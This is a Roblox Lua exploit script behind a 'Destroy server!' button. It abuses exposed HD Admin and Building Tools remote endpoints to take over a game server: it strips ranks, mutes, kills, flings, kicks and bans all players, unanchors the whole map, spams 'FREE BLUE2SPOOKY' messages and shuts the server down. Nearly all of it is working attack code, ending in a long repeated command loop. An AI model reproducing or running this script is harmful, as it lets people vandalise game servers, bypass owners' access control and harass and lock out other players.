
Key Required

local player = game.Players.LocalPlayer
local replicatedStorage = game:GetService("ReplicatedStorage")
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "FUICK U SKID!!!11"
screenGui.Parent = player:WaitForChild("PlayerGui")
screenGui.ResetOnSpawn = false
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 0, 0, 0)
mainFrame.Position = UDim2.new(1, -300, 0.5, -225)
mainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
mainFrame.BorderSizePixel = 0
mainFrame.BorderColor3 = Color3.new(0, 0, 1)
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 200, 0, 100)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.1, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Destroy server!"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 30
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";punish me")
RequestCommand:InvokeServer(";unrank all")
RequestCommand:InvokeServer(";fog inf")
RequestCommand:InvokeServer(";fogcolor bk")
wait(1)
RequestCommand:InvokeServer(";music 72089843969979")
RequestCommand:InvokeServer(";pitch 0.19")
RequestCommand:InvokeServer(";volume inf")
RequestCommand:InvokeServer(";btools me")
wait(1)
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
wait(1)
RequestCommand:InvokeServer(";savemap")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"111891702759441")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(6000,6000,6000))
SetLocked(v,true)
end
end
end
Sky("97432601751601")
RequestCommand:InvokeServer(";mute others")
RequestCommand:InvokeServer(";uncmdbar2 others")
RequestCommand:InvokeServer(";savemap")
wait(1)
RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG")
RequestCommand:InvokeServer(";loopfling all")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";chat all FREE BLUE2SPOOKY")
RequestCommand:InvokeServer(";systemmessage LOL!")
RequestCommand:InvokeServer(";kick all LOL BLUE2SPOOKY RETURNS")
RequestCommand:InvokeServer(";mute others")
RequestCommand:InvokeServer(";uncmdbar2 others")
wait(4)
RequestCommand:InvokeServer(";prank others noacc")
wait(3)
RequestCommand:InvokeServer(";shutdown")
RequestCommand:InvokeServer(";gfp 14277928233")
wait(3)
RequestCommand:InvokeServer(";sm FREE BLUE2SPOOKY HE AINT DO NOTHING WRONG")
RequestCommand:InvokeServer(";lasereyes others")
RequestCommand:InvokeServer(";loopkill all")
RequestCommand:InvokeServer(";n all BLUE2SPOOKY TEAM RUINED TS SERVER XD")
RequestCommand:InvokeServer(";dban all")
RequestCommand:InvokeServer(";unrank all")
RequestCommand:InvokeServer(";n all LOL")
wait(1)
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
RequestCommand:InvokeServer(";countdown2 inf")
RequestCommand:InvokeServer(";re all")
RequestCommand:InvokeServer(";sm lol rekt")
